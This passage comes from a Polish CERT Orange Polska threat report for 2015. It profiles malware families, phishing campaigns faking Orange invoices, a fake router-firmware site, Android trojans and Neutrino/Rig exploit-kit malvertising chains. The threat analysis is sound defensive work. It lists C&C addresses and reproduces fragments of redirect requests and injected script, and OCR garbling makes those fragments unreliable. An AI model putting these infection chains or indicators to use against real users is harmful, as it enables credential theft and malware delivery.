ztosliwe dziatania to m.in. wstrzykiwanie ztosliwego
kodu w odwiedzone strony sieci web, rejestracje oraz
kradziez uzywanych w przegladarce poswiadczen.
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Wykres 15. Ztosliwe oprogramowanie w funkciji liczby alarméw callback dla sieci ADSL
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Wykres 16. Ztosliwe oprogramowanie w funkcji liczby alarméw callback dla sieci IDSL

Expiro nie dodaje zadnych kluczy w rejestrze, zamiast
tego infekuje przynajmniej jeden plik wykonywalny,
ktory juz posiada przypisany klucz.

= Trojan.Sisron - kon trojanski, zwykle pobierany przez
inne zlosliwe oprogramowanie badz nieSwiadomych
uzytkownikéw odwiedzajacych zarazone strony in-
ternetowe. Po zainfekowaniu wytacza funkcje mene-
dzera zadan, edytora rejestru i eksploratora plikow.
Niektére z jego odmian sa w stanie rejestrowac kaz-
de nacisniecie klawisza na klawiaturze, powigzujac je
z odwiedzana strona, co ufatwia kradziez wrazliwych
danych.

= Trojan.Sality — infekuje pliki wykonywalne na dyskach
lokalnych, sieciowych i zewnetrznych, zestawia pota-

czenia P2P z botnetem w celu uzyskania URL prowa-
dzacego do kolejnych zainfekowanych plikéw.

m Trojan.Banker - rodzina koni trojanskich (Zeus) wy-
kradajacych dane zwigzane z bankowoscia (loginy,
hasta, numery kart ptatniczych). Taki trojan jest w sta-
nie samodzielnie pobierac pliki konfiguracyjne i aktu-
alizacje z centrum sterowania.

m Trojan.ZeroAccess - za posrednictwem backdoora
w systemie operacyjnym wymusza komunikacje za-
razonej stacji do zewnetrznego centrum sterowania,
zestawiajac potaczenia TCP na okreslonych portach
(w tym na porcie 80 w celu pobierania innych instancji
malware).
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Wykres 17. Rodzaje infekcji w czasie rzeczywistym w sieci ADSL
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Wykres 18. Rodzaje infekcji w czasie rzeczywistym w sieci IDSL

= Trojan.Andromeda - najpopularniejszy backdoor wy-
stepujacy u klientéw sieci Orange Polska. Wykorzy-
stywany réwniez w kampaniach mailingowych. Po
uruchomieniu na zainfekowanej stacji pobiera bez
wiedzy uzytkownika inne szkodliwe oprogramowanie.

= Exploit.Kit - paczka zlosliwego oprogramowania
usitujaca zainfekowaé¢ komputer ofiary przy wyko-
rzystaniu szeregu podatnosci, co znacznie zwigksza
prawdopodobienstwo infekcji. Do popularnej grupy
exploitow naleza ataki wykorzystujace btedy w opro-
gramowaniu routerow sieciowych.

= Malware.Binary - infekcje uzytkownika bazujace na
pobranych i uruchomionych plikach wykonywalnych
EXE (réwniez osadzonych w dokumentach typu .doc,

PDF czy PPT badz ukrywajacych sie w celu ominiecia
zabezpieczen antywirusowych pod nietypowym roz-
szerzeniem).

= Malicious.URL - infekcje wywotane szkodliwa zawar-
toscia wyzwalana podczas polaczenia z zarazona
strong WWW przez przegladarke internetowa.

= Ransomware.Cryptowall - ziosliwe oprogramowa-
nie, ktdre po wykonaniu na urzadzeniu szyfruje pliki
o okreslonych rozszerzeniach 2048-bitowym Kklu-
czem RSA. Po zaszyfrowaniu danych wyswietla uzyt-
kownikowi wiadomos$¢é o metodzie i wysokosci zapta-
ty w zamian za uzyskanie kluczy deszyfrujacych pliki.
Rozpowszechniany najczesciej przy kampaniach ma-
ilingowych badz w paczkach exploitowych.
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Wykres 19. Uzytkownicy ADSL powiazani i niepowiazani ze ztosliwa zawartoscia
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Wykres 20. Uzytkownicy IDSL powiagzani i niepowiazani ze ztosliwa zawartoscia

Na taczach klientéw indywidualnych (ADSL) mozna za-
uwazy¢ znaczacy spadek odsetka uzytkownikéw po-
wiazanych ze ztosliwa zawartoscia zaréwno wzgledem
roku poprzedniego, jak i ogélnego trendu (wykres 19.).
To bez watpienia wptyw uruchomionej w maju Cyber-
Tarczy.

Zdecydowany postep zanotowano takze wsrod klien-
téw {acz Internet DSL (wykres 20.), jednak tutaj przy-
czyna moze byé wzrost liczby monitorowanych klien-
tow tej ustugi, co wyraznie wplyneto na ksztalt wykresu.
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7.1.1. Kampanie phishingowe w sieci
Orange Polska w 2015 roku

Papras.EB

Na poczatku lipca 2015 roku w sieci Orange Polska
wykryto nhowa wersje znanego i mutujacego od kilku
lat trojana Papras.EB. Opisywany malware nalezy do
rodziny tzw. RAT (Remote Access Trojan). Do CERT
Orange Polska dotarty dwie ré6zne probki z tym samym
ztosliwym zatacznikiem.

Od: Ana Skalka <AnaSkalkahlwe@studiometria.it>

Data: 18 czerwca 2015 14:42:41 CEST

Do: adres_ofiary@gmail.com

Temat: Need your attention : Your request has been suc-
cessfully submitted. Takeover/Cloud 9

Od: "Willard Pienkowski" <WillardPienkowskiai@wheat-
craftconsulting.com>

Data: 18 czerwca 2015 14:10:16 CEST

Do: adres_ofiary@gmail.com

Temat: Your attention is requested : Your request has been
successfully submitted. REVOLYMER PLC

W obu wiadomosciach znajdowaly sie zataczniki w po-
staci plikéw Microsoft Word o nazwach:

12_4325.doc

437_60900.doc

506861.doc

Pliki Word mogly nie zostaé rozpoznane przez opro-
gramowanie antywirusowe (w tabeli 2. przedstawiono
nazwy tego trojana rozpoznawane przez silniki réznych
antywiruséw), poniewaz ich celem bylo jedynie przygo-
towanie gruntu pod faktyczny malware. Elementem

kazdego z plikow byly bowiem ukryte makra, a takze
uruchamiane przez nie tzw. droppery. To dopiero ich

AVG
Ad-Aware
Arcabit
Avast
BitDefender
Bkav
DrWeb
ESET-NOD32
Emsisoft
F-Secure
GData
K7GW

MicroWorld-eScan

Tabela 2. Trojan Papras wg réznych antywirusow

zadaniem byto Sciagniecie z wielu lokalizacji w interne-
cie komponentéw malware’u, ich aktywacja i dokona-
nie faktycznej infekcji juz z wewnatrz systemu.

Wirus w pierwszejfazie tworzyt plik o nazwie vvwvvvvvv5D.
exe, by nastepnie pobraé z serwisu PASTEBIN.com plik
zawierajacy kolejny ztosliwy kod oraz adres serwera,
z ktérego pobierat ostatecznego wirusa. W pehi uru-
chomiony skrypt pobierat z innej lokalizacji plik o na-
zwie 83.exe, ktory po uruchomieniu infekowat system,
dodajac do rejestru klucz. Dzigki temu wirus mégt sie
automatycznie uruchamiaé przy kazdym restarcie sys-
temu, tworzac swdj plik wykonywalny w katalogach
systemowych systemu operacyjnego Windows.

Ataki o tak rozbitej charakterystyce infekcji maja za za-
danie utrudni¢ analize, ominaé¢ systemy antywirusowe
i zmniejszy¢ mozliwosé wykrycia infekcji przez uzyt-
kownika.

Analizowana przez CERT Orange Polska prébka ztosli-
wego kodu potrafita m.in.:

pobraé, zapisa¢ i uruchomic¢ okreslony program na
zainfekowanym komputerze,

zaktualizowac¢ swoje dziatanie,
wykrasé pliki cookie z przegladarek,

wyszukaé i wystaé na serwer cyberprzestepcy cer-
tyfikaty podpiséw cyfrowych, np. stuzacych do uwie-
rzytelniania przelewéw w banku,

wystaé atakujacemu liste proceséw dziatajacych na
zainfekowanej maszynie, usunac pliki cookie,

wiaczyé serwer VNC umozliwiajacy podglad pulpitu
uzytkownika w realnym czasie,

wyszukac¢ konkretne pliki na zainfekowanym kompu-
terze.

Inject3.MTD
Trojan.GenericKD.2834741
Trojan.Generic.D2B4135
Win32:Malware-gen
Trojan.GenericKD.2834741
HW32.Packed.7304
Trojan.DownLoader17.34179
a variant of Win32/Injector.CLLC
Trojan.GenericKD.2834741 (B)
Trojan.GenericKD.2834741
Trojan.GenericKD.2834741
Trojan (004d56421)

Trojan.GenericKD.2834741

------ Wiadomos¢ oryginalna ——-

Temat: Przypomnienie o nieoplacone; fakturze - Orange
Data- 2015-10-02 8:44

Nadawca: "Orange"jzaleglosc: % orange pi>}

Adresat

Witamy

Przypominamy, ze uplynal termin platnosci e-faktury za uslugl stacjonarne Orange
Zaleglosci z tytulu nieuregulowanych oplat dotycza

Szczegolowe rozliczenie kwoty do zaplaty fakiungiest
Wygodnie | zawsze w terminie e-fakture mozna Jin

Numer faktury [ FWL90599170/001/15
Numer ewidencyjny 541 200 5001 7053
Klienta

(Kwotadozaplaty  [107,15PLN _
Termin platnosci 12015.03 20

gostepne pod linkigm

ia Zaplaty lub

Platnosa Elektroniczne)
Jezeli faktura zostala juz oplacona prosimy o uznanie tej wiadomosci za nieakiualna
Wiadomosc zostala wygenerowana automatycznie, prosimy na nia nie odpowiadac

Pozdrawiamy
Orange

(STaRD |

Faktura elektroniczna, zgodnie z Ustawa z dnia 11 marca 2004 r. 0 podatku od towarow |
uslug (Dz.U. z 2004 r. Nr 54, poz. 535, z pbzn. zm.), posiada dokladnie taka sama moc
prawna jak jej papierowy odpowiednik. Orange Polska S_A_ wystawia oraz przesyla fakdury
elektroniczne, gwarantujac autentycznosc ich pochodzenia oraz integralnosc ich tresci
bezpiecznym podpisem elekdronicznym

Z dokfadna analizg Papras.EB autorstwa CERT Orange
Polska mozna si¢ zapozna¢ sie w zataczniku 1. w roz-
dziale konczacym niniejszy raport.

Trojan.VBInject

W kolejnym ataku, na poczatku pazdziernika 2015 roku,
do polskich internautow docieraty e-maile podszy-
wajace sie pod faktury Orange Polska. Na rysunku 4.
przedstawiono obraz prébki przyktadowej fatszywej
wiadomosci. W tresci znajdowat sie link odsytajacy
uzytkownika do rzekomej faktury.

Po kliknieciu w link wyswietlata sie animacja sugeru-
jaca otwieranie programu Adobe Reader, ostatecznie
pokazujaca bfad otwarcia pliku i sugerujaca pobranie
»dziatajacego” programu. Byl nim oczywiscie zlosliwy
kod napisany w jezyku skryptowym Autolt. Giéwnym
dziataniem wirusa bylo wykradanie haset i loginéw
uzytkownikdw zaréwno z cache’a przegladarek, jak
i w czasie rzeczywistym. Dzigki szczegotowej analizie
CERT Orange Polska zablokowano caly ruch z sieci
Orange Polska do serweré6w Command & Control, na-
stepnie zas przy uzyciu CyberTarczy skutecznie zmini-
malizowano ryzyko i praktycznie usunigeto ztosliwy kod
z komputeréw naszych klientow.

Przy uzyciu stosowanych przez CERT Orange Polska
rozwigzan stuzacych do analizy ruchu pakietow ,flow”
oszacowano rowniez skale infekgcji.

Wykres 21. przedstawia unikalne pakiety flow wykryte
w ruchu klienckim za okres 1-31.10.2015 roku. W tym
okresie zidentyfikowanych zostato 226 unikalnych po-
taczen o facznej wielkosci przekraczajacej 500 Mb.

Dzieki uzyciu protokotu Netflow CERT Orange Polska
moze uzyskac w krotkim czasie wiele informaciji o ruchu
sieciowym, bez zagladania w zawartos¢ pakietow. Po-

Rysunek 4. Fatszywa wiadomos¢ pod pozorem faktury od Orange

zwala to na tatwa i szybka analize ruchu i wynikajacych
z niego nieprawidiowosci zwigzanych z naruszeniem
bezpieczenstwa (np. wytypowanie pojawiajacych sie
nowych serweré6w DNS-owych bioracych udziat w cy-
berprzestepczych kampaniach) oraz analize komunika-
cji na nietypowych portach miedzy zarazonymi urzadze-
niami a serwerami Command & Control. Analiza odbywa
sie na podstawie przeptywu pakietow flow, zawieraja-
cego ruch z danego adresu zrédiowego do adresu do-
celowego wraz z numerami portéw czy uzywanymi pod-
czas pofaczenia protokotami. Dzigki temu CERT Orange
Polska dysponuje podgladem trendéw w sieci Orange
Polska i potrafi wykry¢ powstajace w niej coraz to nowe
anomalie. W ten spos6b monitorowane sa m.in.:

skanowanie portow,

ataki stownikowe,

DDoS,

anomalie w ruchu DNS,
komunikacja do/od botnetéw.

Analizujac statystyke strumienia pakietéw, mozemy zi-
dentyfikowa¢ interesujace nas wartosci:

1. adres IP zrédtowy,
2. adres IP docelowy,
3. port zrédiowy,

4. port docelowy,

5. protokét IP.

Ponadto dzieki wykorzystaniu mechanizmu sinkho-
lingu mozliwe byto sklasyfikowanie liczby unikalnych
uzytkownikow zainfekowanych ta probka wirusa. Na
wykresie 22. przedstawiono TOP 10 domen, ktérych
dane autoryzacyjne wykradat opisywany malware.

Z doktadna analiza Trojan.VBInject mozna zapoznac¢
sie w rozdziale z zatagcznikami.
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Wykres 21. Skala infekcji VBInject wykryta w oparciu o wielkosé potaczen typu netflow

m facebook.com

m allegro.pl

® nk.pl

mo2.pl

W torrenty.org
live.com
google.com
efortuna.pl
gumtree.pl

orange.pl

Wykres 22. TOP 10 domen, w ktérych udaremniono préby kradziezy haset logowania

TP-LINK

TWO] FIRMWARE JEST NIEAKTUALNY! (v 3.7.0

Zo wigledu na bezpieczefistwo

ux xB6
Linux x64

Rysunek 5. Obraz fatszywej strony naktaniajacej do aktualizacji oprogramowania routera DSL

AVG

Ad-Aware

Arcabit

Avast

BitDefender

Bkav

DrWeb

ESET-NOD32

Emsisoft

F-Secure

GData

K7GW

MicroWorld-eScan

Inject3.MTD

Trojan.GenericKD.2834741

Trojan.Generic.D2B4135

Win32:Malware-gen

Trojan.GenericKD.2834741

HW32.Packed.7304

Trojan.DownlLoader17.34179

a variant of Win32/Injector.CLLC

Trojan.GenericKD.2834741 (B)

Trojan.GenericKD.2834741

Trojan.GenericKD.2834741

Trojan (004d56421 )

Trojan.GenericKD.2834741

Tabela 3. Ztosliwe oprogramowanie uzywane w atakach na podatne routery DSL wg réznych antywirusow

Powstrzymanie préby ataku na podatne routery DSL

30 pazdziernika w ramach dziatan operacyjnych pod
jednym z adresoéw IP skojarzonych z botnetem eksperci
CERT Orange Polska natkneli sie na witryne w jezyku
polskim, ktéra nakianiata potencjalne ofiary do
waktualizacji” oprogramowania routeréw i sugerowata,
iz jest ona niezbedna ze wzgledéw bezpieczenstwa
(obraz fatszywej strony przedstawiono na rysunku 5).
Pod odnosnikiem znajdowat sie plik wykonywalny
o nazwie wskazujgcej na oprogramowanie routera,
firmware_tplink_4.0.8b_x86_x64_r10932.exe

Ten sam serwer petnit takze druga funkcje - serwera
DNS, co moze sugerowac przygotowania do ataku na
szeroka skale. Przestepcy przy uzyciu btedéw w opro-
gramowaniu routeréw planowali podstawi¢ na urza-
dzeniach internautéw adres swojego serwera DNS,
ktory przy probie wejscia na dowolna strone miat pre-
zentowac¢ witryne informujaca o koniecznosci natych-
miastowego uaktualnienia urzadzenia.

Strona znajdowata sie pod adresem http://81.4.122.238/,
zas fatszywy plik w katalogu gtéwnym serwera WWW.
Byto to oczywiscie zlosliwe oprogramowanie, wykry-
wane w chwili analizy przez 13 silnikéw antywiruso-
wych pod réznymi nazwami (tabela 3.).

Po zainfekowaniu systemu ztosliwy kod tworzyt w sys-
temie plik z datg instalacji zgodnie ze schematem mm-
-dd-rrrr, w lokalizaciji:

C:\Users\PSPUBWS\AppData\Roaming\Logs\

Nastepnie wykradat informacje wpisywane przez uzyt-
kownika w formularzach przegladarki w postaci logi-
now i haset i zapisywat je w zakodowanej formie do
pliku o nazwie mm-dd-rrrr. W kolejnym kroku komuni-
kowat sie z serwerem Command & Control, pod adre-

sem 213.152.162.94, przy uzyciu portéw TCP 3837 oraz
3835, wysytajac skradzione dane. Wymienione w opisie
adresy zostaly natychmiast zablokowane w sieciach
klienckich Orange Polska.

7.2. Malware na platformy mobilne

Urzadzenia mobilne to takomy kasek dla przestepcow
-m.in. ze wzgledu na funkcjonalne uproszczenia w kon-
strukciji interfejsu i aplikaciji, stabiej rozwiniety rynek za-
bezpieczen, a przede wszystkim na brak swiadomosci
uzytkownikéw. Tymczasem zfosliwe oprogramowanie,
udajace nierzadko potencjalnie bezpieczne aplikacje,
ma jeszcze wigksze mozliwosci niz malware ukierunko-
wany na komputery osobiste. Do kradziezy danych i pli-
kéw dotacza bowiem mozliwosé odbierania i wysytania
SMS-6w i MMS-6w (réwniez wysokoptatnych Premium
Rate), wykonywania potaczen, podstuchiwania rozmow
czy przejecia kontroli nad wbudowanym aparatem.

Wykres 23. przedstawia TOP 5 malware wykrytego
w funkcji callback na urzadzeniach mobilnych podia-
czanych do sieci w przytaczanej wyzej 25-tysiecznej
probce uzytkownikéw sieci DSL. Dowodzi on olbrzy-
miego znaczenia zwykltej kontroli uprawnien instalo-
wanych aplikacji oraz koniecznosci wzmozenia uwagi
przez uzytkownika przy przeprowadzaniu wszelkich
operacji wymagajacych dodatkowych poswiadczen.
= Trojan.SMSSpy - oprogramowanie monitorujace przy-
chodzace wiadomosci SMS, e-mail czy listy kontak-
tow. Zdobyte dane przekazuje dalej przez dostepne
kanaly komunikaciji (e-mail i SMS). W niektérych wer-
sjach potrafi réwniez kasowacé przechwycone dane.

m Trojan.SMSstealer - jedno z najpopularniejszych
zagrozen na swiecie. Stealer charakteryzuje mody-
fikowalny plik konfiguracyjny. Podszywajac sie pod
legalna aplikacje, trojan jest w stanie m.in filtrowaé



16%
14%

14% -+

12%
10%

10%

8%
8% | 8%
6%

6% -

4% -

2% —

0%

™ Trojan.SMSSpy

M Malware.Kemoge
Malware.GhostPush
Riskware.Dengaru

Trojan.Smsstealer

Wykres 23. TOP 5 zagrozen dla urzadzen mobilnych z systemem Android

przychodzace wiadomosci, wystaé¢ zapytanie GET na
wybrana strone WWW czy wystaé¢ SMS z zainfekowa-
nego urzadzenia.

Riskware.Dengaru - kon trojanski na urzadzenia z sys-
temem Android o niskim stopniu szkodliwosci, odkry-
ty po raz pierwszy 11 maja 2015 roku. Jego pierwsze
prébki znaleziono w aplikacji ,,Dubsmash 2” w pa-
kiecie o nazwie ,com.table.hockes”. Trojan po insta-
lacji tworzy ikone imitujaca menu ustawien systemu
o nazwie ,Settings IS”. Klikajac w nia - pod warun-
kiem aktywnego potaczenia z internetem - uzytkownik
uruchamiat wirusa. Ten wysylat zadanie HTTP GET do
zaszyfrowanego adresu strony w kodzie, jezeli odpo-
wiedz zwrdcita tancuch o wartosci ,,1”, uruchamiane
byly ustugi o nazwach ,,MyService” oraz ,,Streaming”.
Pierwsza z nich usuwata ikone ,,Settings IS, a nastep-
nie dopisywata do menedzera zadan uruchamiajacy sie
w 60 sekund kod. Pobierat on z serwera liste linkéw do
stron pornograficznych, ktére nastepnie przegladarka
uruchamiata, zmieniajac witryne co 10 sekund. Naj-
prawdopodobniej twérca wirusa otrzymywat zaptate
za klikanie w reklamy o tematyce pornograficznej.

Malware.Kemoge - kolejny odkryty w Chinach i szyb-
ko rozprzestrzeniajacy sie¢ malware na platformy mo-
bilne. Kemoge (od nazwy serwera C&C, z ktérym si¢
komunikuje aps.kemoge.net), ukrywajac sie pod na-
zwami popularnych aplikacji, takich jak Share it, WiFi
Enhancer czy Calculator, przede wszystkim wyswietla
niechciane reklamy uzytkownikowi, ale jest tez w sta-
nie sam pobraé¢ dodatkowa zawartos¢ czy przejaé
kontrole nad urzadzeniem.

Android.GhostPush - malware, ktéry w bardzo krotkim
czasie zainfekowat kilkaset tysiecy telefonéw z Andro-
idem w 116 krajach. Obecnos¢ tego kodu stwierdzono
nie tylko w ,nieformalnych” sklepach z aplikacjami,
ale réowniez w Google Play, a rozpowszechniat sie po-
przez wstrzykniecie ztosliwego kodu do popularnych
aplikacji, m.in. do:

¢ Door Screen Locker App,

¢ Loud Caller Name Ringtone,

¢ MagicStarMatchSweetDubbing,

¢ Photo Background Changer - Utltimate,
¢ Photo Cut Paste,

¢ Puzzle Bubble-Pet Paradise,

¢ RootMasterDemo,

e SuperZoom,

e Demo,
¢ Smart Touch.

Po zainfekowaniu atakujacy ma petna kontrole nad
urzadzeniem, tacznie z mozliwoscia instalacji dowol-
nej aplikacji bez wiedzy uzytkownika. Uzyskuje takze
dostep do systemu na prawach roota, co uniemoz-
liwia antywirusowi jego usunigecie. Od 18 wrzesnia
»Push Ghost” zarazit 658 aplikaciji, niemal milion urza-
dzen, a liczba ta stale wzrasta. Atak zapewne byt skie-
rowany w deweloperéw, ktérych konta w Google Play
zostaly przejete w celu zarazenia potencjalnie legal-
nych aplikacji z ominieciem systeméw zabezpieczen
Google.

Poza opisanymi powyzej zagrozeniami zespé6t CERT
Orange Polska przeanalizowat réwniez wiele innych po-
jawiajacych sie w sieci klienckiej OPL. Ponizej znajduja
sie krotkie opisy dwoch najciekawszych przypadkow
spoza Scistej czotowki.

Trojan.Tetus

Wykryty po raz pierwszy 23 stycznia 2013 roku. Jego
probki wystepowaly przewaznie wewnatrz aplikacji
o charakterze spotecznosciowym (np. All Friends, Flirt!)
lub popularnych w ostatnich czasach aplikaciji, ktérych
zadaniem jest domniemane wspomaganie pracy telefo-
nu (np. Battery Improve, Faster Phone itp.) na platformie
Android:

com.appsmediaworld.fitpal
com.appengines.fastphone
com.mobilityplus.friendly
com.coolmasterz.flirt
com.droidmojo.celebstalker
com.droidmojo.awesomejokes
com.stephbrigg5.batteryimprove
com.supersocialmob.allfriends
com.nogginfunsite.zgames

Serwer C&C rozpoznaje zainfekowane urzadzenie za
pomoca numeru IMEL Zadaniem trojana jest odczyty-
wanie przychodzacych wiadomosci SMS i przekazywa-
nie ich do Command & Control zawiadywanego przez
cyberprzestepce. Posiada on réwniez modut umozli-
wiajacy usuwanie wiadomosci SMS bez $wiadomosci
uzytkownika, dlatego moze by¢ uzywany do zapisywa-
nia ofiary do serwisow Premium czy tez przejmowania

SMS-6w autoryzujacych transakcje bankowe. Potrafi
takze wystaé¢ aktualna liste aplikacji zainstalowanych
na zainfekowanym telefonie do serwera C&C.

Android.Push.Ghost
Od 12 pazdziernika obserwujemy w sieci aktywnosé
malware ,,Push Ghost”, ktéry w bardzo krétkim czasie
zainfekowat kilkaset tysiecy telefonéw z Androidem
w 116 krajach. Obecnos$é¢ tego kodu stwierdzono nie
tylko w ,nieformalnych” sklepach z aplikacjami, ale
rowniez w Google Play, a rozpowszechniat si¢ poprzez
wstrzykniecie ztosliwego kodu do popularnych aplika-
cji, m.in. do:

Door Screen Locker App

Loud Caller Name Ringtone

MagicStarMatchSweetDubbing

Photo Background Changer - Utltimate

Photo Cut Paste

Puzzle Bubble-Pet Paradise

RootMasterDemo

SuperZoom

Demo

Smart Touch

Po zainfekowaniu atakujacy ma petna kontrole nad
urzadzeniem, facznie z mozliwoscia instalacji dowol-
nej aplikacji bez wiedzy uzytkownika. Uzyskuje takze
dostep do systemu na prawach roota, co uniemozliwia
antywirusowi jego usuniecie. Od 18 wrzesnia ,,Push
Ghost” zarazit 658 aplikacji, niemal milion urzadzen,
a liczba ta stale wzrasta. Atak zapewne byt skierowany

w deweloperéw, ktérych konta w Google Play zostaly
przejete w celu zarazenia potencjalnie legalnych apli-
kacji z ominieciem systemoéw zabezpieczen Google.

7.3. Okiem partnera - FireEye

Tegoroczny raport CERT Orange Polska skionit mnie
do przemyslen dotyczacych popularnosci tzw. exploit
kitéw - dominujacej grupy zdarzen zarejestrowanych
na badanej prébce ruchu klientéw Neostrady. Cyber-
przestepcy chetnie wykorzystuja exploit kity, bowiem
postuzenie sie nimi daje wieksze prawdopodobienstwo
infekcji uzytkownika niz wykorzystanie pojedynczej
podatnosci i w zasadzie gwarantuje, ze ztosliwa aplika-
cja zostanie zainstalowana.

Exploit kit zazwyczaj stanowi pierwsza faze infek-
cji, ktéra ma przekaza¢ komputer ofiary pod kontrole
atakujacego. W kolejnym kroku mamy peiny wybor:
infostealery, bankery, ransomware - mozna by tu wy-
mieni¢ wiele rodzajéw internetowych zagrozen. Z per-
spektywy atakujacego kwestia wyglada wiec idealnie,
znacznie gorzej jest, gdy przyjmiemy punkt widzenia
ofiary. Wykorzystanie znanych, powszechnie odwie-
dzanych stron jako punktu startowego do rozpoczecia
ataku (tzw. technika ,,wodopoju”) powoduje, ze zaden
z uzytkownikow nie jest bezpieczny. Pokazuje to cho-
ciazby uzycie domeny Forbes.com do przekierowania
na strony zawierajace exploit kity Neutrino i Angler.
W okresie od 8 do 15 wrzesnia 2015 roku uzytkownicy
odwiedzajacy adres:

http://wwwa3.forbes.com/test/[usuniete]/IWC Forbes-
Life E-Reader unit/fif.html

GET http://s.flite.com/syndication/ad.js 1227387/d/4328523776/dh/
cBaaeal58920177adlc3eb5dacd9431b/1/07e18207-9ead- g Oede/iv/1/r/
b85d1c62-7a72-435e-92a6- ff94a67476a2/rv/6/s/0/

t/838ef17928771230a1899b22784df5954220bf4b0000014 fc86b69da/v/0/ HTTP/1.1

Acce cript,
Brer: http://www3.forbes.com/t

/¥;0=0.8
est/ /INC_ForbesLife E-Reader_unit/fif.html?
=07e18207-9ead-4d76-8589-84 1b3d350e9ebts=6lu=%2F%2Fs. flite. con®2Fsyndication2 } %

2F53122738 7% FORIFE3 2852577

FelinieaF 180381771 S dae

2F07218207-9ead-4476-8589-84 1b3d350e9e%2Fivi2F1%2Fra2Fb85d1c62-7a72-435e-92a6- ff94a674 76a2%2 Frv42 F6%
2Fs%2 FO%2 Ft%2F838ef17928771230af899b22784df5954e20b fab0000O 14 fc86b6Ida%2 Fv a2 FO%
2FGoob=6dep=6t5=144235218744 1&p=httpsBA%2Fs2Fadclick.g. doubleclick. net%2Faclks3Fsa%3DL%26al%

3DBD9Y_Ooz4VY TMISOZ3AGUU42ICKbntcYIAAAAEAEDjq]8HZgAWI7Q7_GgAnDIhu2I
Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWS4; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: s.flite.com

Proxy-Connection: Keep-Alive

Rysunek 6. Przekierowanie do strony s.flite.com

Rysunek 7. Uzycie iframe w przekierowaniu strony

pt type= TIT
var date = new Date(new Date{).getTime() + E@=

sdocument.createElement ( T t.createElement( s Yiesscript=
a2 da 741 t.cook PHE_SESST ] t

>/ if rames</div>

Rysunek 8. Zatadowanie exploita Neutrino

GET http://onclickads.net/afu.phplzoneid=301402&va=53031989&cb=1446169587" HTTP/1.1
Accept: text/html, application/xht@igxml, */*

Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Host: onclickads.net

Jrident/7.0; rv:11.0) like Gecko

loC ztosliwego oprogramowania

Rysunek 9. Odwotanie do obiektu afu.php
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Rysunek 10. Cykl zycia Malware.Kemoge

stawali sie potencjalnymi ofiarami ataku wykorzystu-
jacego wspomniane wczesniej exploit kity. Do powyz-
szego adresu prowadzito wiele stron z domeny gtow-
nej, jak chociazby http://www.forbes.com/sites. Obiekt
fif.html zawierat przekierowanie do strony: s.flite.com
(rysunek 6.), ktéra po kolejnych kilku przekierowaniach,
miedzy innymi przy uzyciu iframe (rysunek 7.) powodo-
wata zatadowanie wiasciwego exploita Neutrino (rysu-
nek 8.) wykorzystujacego wiele starszych i nowszych
podatnosci, miedzy innymi w oprogramowaniu Flash,
takich jak CVE-2015-5119 czy CVE-2015-5122.

Innym niepokojacym przykiadem jest wykorzysta-
nie popularnej platformy reklamowej onclickads.net.
W tym przypadku uzytkownicy odwiedzajacy strony
korzystajace z tej platformy mogli zostac¢ zainfekowani
przy uzyciu Rig Exploit Kit. Z punktu widzenia uzytkow-
nika mogto to wyglada¢ jak zwykte wejscie na ulubiona
strone, ktéra serwowata ztosliwa zawartos¢ z platfor-
my onclickads.net. Nastepnie uzytkownik byl przekie-
rowywany do strony startowej Rig Exploit Kit. W tym
przypadku samo wykrycie uzycia ztosliwej zawartosci
ze strony reklamowej byto dosy¢ proste, poniewaz od-
wotywalo sie do obiektu afu.php zamiast do afr.php,
ktory jest standardowym komponentem oprogramo-
wania OpenX/Revive (rysunek 9.).

Kod exploit kitu byl oczywiscie ,,zaciemniony”. Zawie-
rat instrukcje pozwalajace na wykrywanie oprogramo-
wania antywirusowego oraz popularnych systemoéw
wirtualizacyjnych uzywanych przez czesé producen-
tow oprogramowania antymalware. Wiecej szczego-
tow mozna znalez¢ na stronie:

https://www.fireeye.com/blog/threat-rese-
arch/2015/11/top-ranked advertisi.html

Kiedy patrze na wykorzystanie wielu réznych mechani-
zmoéw pozwalajacych na skuteczne dostarczenie zto-
sliwego oprogramowania do uzytkownika koincowego
oraz na coraz wieksze zaawansowanie samych exploit
kitow, bardzo cieszy mnie uruchomienie przez Oran-
ge Polska CyberTarczy, ktora jest ogromnym krokiem
w kierunku wzrostu bezpieczenstwa w sieci.

Innym problemem wskazanym w raporcie jest ztosliwe
oprogramowanie na platformy mobilne. Na wykresie
TOP 5 zwrécitem uwage na Malware.Kemoge, ktéry
wedtug mojej wiedzy zagraza uzytkownikom w co naj-
mniej 20 krajach na swiecie. Oprogramowanie ukrywa
sie w popularnych aplikacjach i jest mozliwe do scia-

(TSI
@

Remote Control:

* Install any app

* Uninstall any app
* Launch any app

gniecia z réznych sklepéw internetowych z oprogra-
mowaniem. Jego twércy oczywiscie na rézne sposo-
by reklamuja swoj produkt w celu zwigkszenia liczby
kontrolowanych urzadzen mobilnych. Po instalacji
oprogramowanie zbiera informacje o zainfekowanym
urzadzeniu i wysylta je do centrum sterowania w dome-
nie aps.kemoge.net, nastepnie zas urzadzenie mobilne
zaczyna wyswietlaé niechciane reklamy.

Na rysunku 10. przedstawiajacym cykl zycia Malware.Ke-
moge mozna zauwazy¢ kilka dodatkowych funkcji. Uwa-
ge zwraca mozliwosé wykorzystania 8 r6znych exploitéw
w celu zrootowania urzadzenia mobilnego i przejecia
przez malware nieograniczonej nad nim kontroli. | tutaj
ujawnia sie kolejna, bardzo niebezpieczna cecha Mal-
ware.Kemoge, czyli Sciaganie i instalowanie dowolnych
aplikacji. Jakie sa tego konsekwencje, nietrudno sobie
wyobrazié, szczegdlnie jezeli trzymamy na swoim telefo-
nie poufne dane lub uzywamy go do dostepu do naszych
kont bankowych.

Obserwujac gwattowny rozwdj urzadzenn mobilnych
oraz réznych zwigzanych z tym nowych probleméw
bezpieczenstwa, mozna sie zastanawiac, z jakimi pro-
blemami bezpieczenstwa bedziemy sie mierzy¢ za kil-
ka lat, w dobie tzw. internetu rzeczy?

Klaudiusz Korus
Senior System Engineer w FireEye Inc.

Cyberprzestepcy chetnie
wykorzystuja exploit

kity, bowiem postuzenie
sie nimi daje wieksze
prawdopodobienstwo
infekcji uzytkownika niz
wykorzystanie pojedynczej
podatnosci i w zasadzie
gwarantuje, ze ztosliwa
aplikacja zostanie
Zainstalowana.
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Dziatania cyberprzestepcy
usitujgcego przedrzec sie

do docelowej maszyny zaczynaja
sie zazwyczaj od rozpoznania
